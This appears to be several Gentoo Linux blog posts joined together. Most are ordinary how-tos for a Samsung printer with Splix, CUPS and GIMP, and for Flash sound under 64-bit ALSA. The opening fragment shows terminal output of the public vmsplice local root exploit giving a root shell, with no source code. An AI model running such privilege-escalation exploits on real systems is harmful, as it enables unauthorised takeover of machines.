Pretty scary stuff, even if you trust all of your users:
victor@mercury ~ $ ./exploit ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x100000000000 .. 0x100000001000 [+] page: 0x100000000000 [+] page: 0x100000000038 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4038 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0x2ac3dee3c000 .. 0x2ac3dee6e000 [+] root mercury ~ # whoami root
bash emerge -av splixAfter this finishes, you can go to http://localhost:631/, click on the Administration tab, then walk through the steps. When it asks for a PPD file, click on “Browse” and go to /usr/share/cups/model/samsung. There you will find a file called “ml2010.ppd”. You may notice ml2010de.ppd, ml2010fr.ppd, and ml2010it.ppd, which respectively are German, French, and Italian translations of the driver. Use one of those if you prefer. You should now be able to print from any CUPS enabled application. If you have trouble with CUPS, try the Gentoo Printing Guide. Make it work with GIMP If you’ve had trouble printing from GIMP, make sure you have the gimpprint compiled into GIMP by adding “media-gfx/gimp gimpprint” to your /etc/portage/package.use:
bash echo "media-gfx/gimp gimpprint" /etc/portage/package.useNow delete your ~/.gimp-2.2/printrc file if you’ve messed around with trying to get GIMP to work before. Once you start GIMP, it will detect your CUPS printers and rebuild the file. Now your Samsung ML-2010 should be working, but it didn’t for me. I had to do more. Open up or create a new image, then click File->Print. You will then see your printers listed, click on your Samsung ML-2010, then “Setup Printer”. Make sure “Postscript Level 2” is selected for “Printer Model,” then where it says “Command”, I had to remove the raw output (-oraw) option. Mine says: lp -s -dSamsung_ML-2010_USB_1 Where “Samsung_ML-2010_USB_1” is your own CUPS device name (mine is plugged into USB_1). Click OK, then “Save Settings.” Happy Printing. p.s. The above instructions should work for any Samsung printer that Splix supports.
I recently blew away my completely setup Gentoo desktop when I decided I needed to rebuild on a new RAID5 array. This meant that I got go through the entire Gentoo install, build, and configuration process from scratch, after not having had to do it for ages. I also took the opportunity to use LVM2 this time around, which I’ll probably write about in a future post. Either the Gentoo process has gotten much easier or I’ve gotten much better with Gentoo. It was a fairly painless install, and it turned out my only real hiccup was getting flash9 to output sound to ALSA. I knew I had correctly installed ALSA since all my other ALSA applications output sound perfectly - Amarok, Kaffeine, and even aplay from the CLI. I also knew that Flash9 was completely ALSA based instead of OSS, so as long as other ALSA apps were playing, Flash9 should be playing. After a day of thinking about it, I gave up and visited #alsa on freenode.
Adobe only supplies flash as a 32-bit binary, so running it on my 64-bit Gentoo system meant I had to either use net-www/nspluginwrapper in 64-bit Firefox or install it on 32-bit firefox. Gentoo supplies a 32-bit FF package called www-client/firefox-bin that works well on 64-bit environments and allows for native 32-bit plugins, so this is what I use. Well, on my previous install (before I wiped the disk) this 32-bit FF combined with flash9 worked beautifully, and I was able to browse Youtube all day long in full multi-media glory. However, this time around it would play the video without sound. I couldn’t get any flash based audio to work - last.fm, pandora, youtube, etc. It turns out the problem was an oversight on my part. Since the plugin and browser are 32-bit and my ALSA was natively compiled at 64-bit, the two couldn’t really talk to each other. I just had to do a simple
bashemerge -av app-emulation/emul-linux-x86-soundlibs After that, a restart of ALSA and Firefox, and I was back to full flash9 sound. Flash 9 beta two works very well under Gentoo, by the way.
For those curious, here are my system specs and a quick How-To:
AMD Opteron 165 @ 2.3ghzAsus A8N-SLI PremiumSB Live! Value sound card64-bit Gentoo Linux
If you choose to install ALSA as a module rather than in-kernel, in /etc/make.conf:
bashALSA_CARDS="emu10k1" Replace emu10k1 with whatever the ALSA module for your card is. Check the ALSA list for what works for your hardware. Then ‘emerge alsa-utils alsa-oss alsa-lib alsa-driver app-emulation/emul-linux-x86-soundlibs’. My /etc/modules.d/alsa:
alias sound-service-0-0 snd-mixer-oss alias sound-service-0-1 snd-seq-oss alias sound-service-0-3 snd-pcm-oss alias sound-service-0-8 snd-seq-oss alias sound-service-0-12 snd-pcm-oss alias /dev/dsp snd-pcm-oss options snd cards_limit=1 Add 'snd-emu10k1' to your /etc/modules.autoload.d/kernel-2.6. Make sure you do a 'modules-update -f' followed by a restart of alsa '/etc/init.d/alsasound restart'. You should be good to go.<br /></p>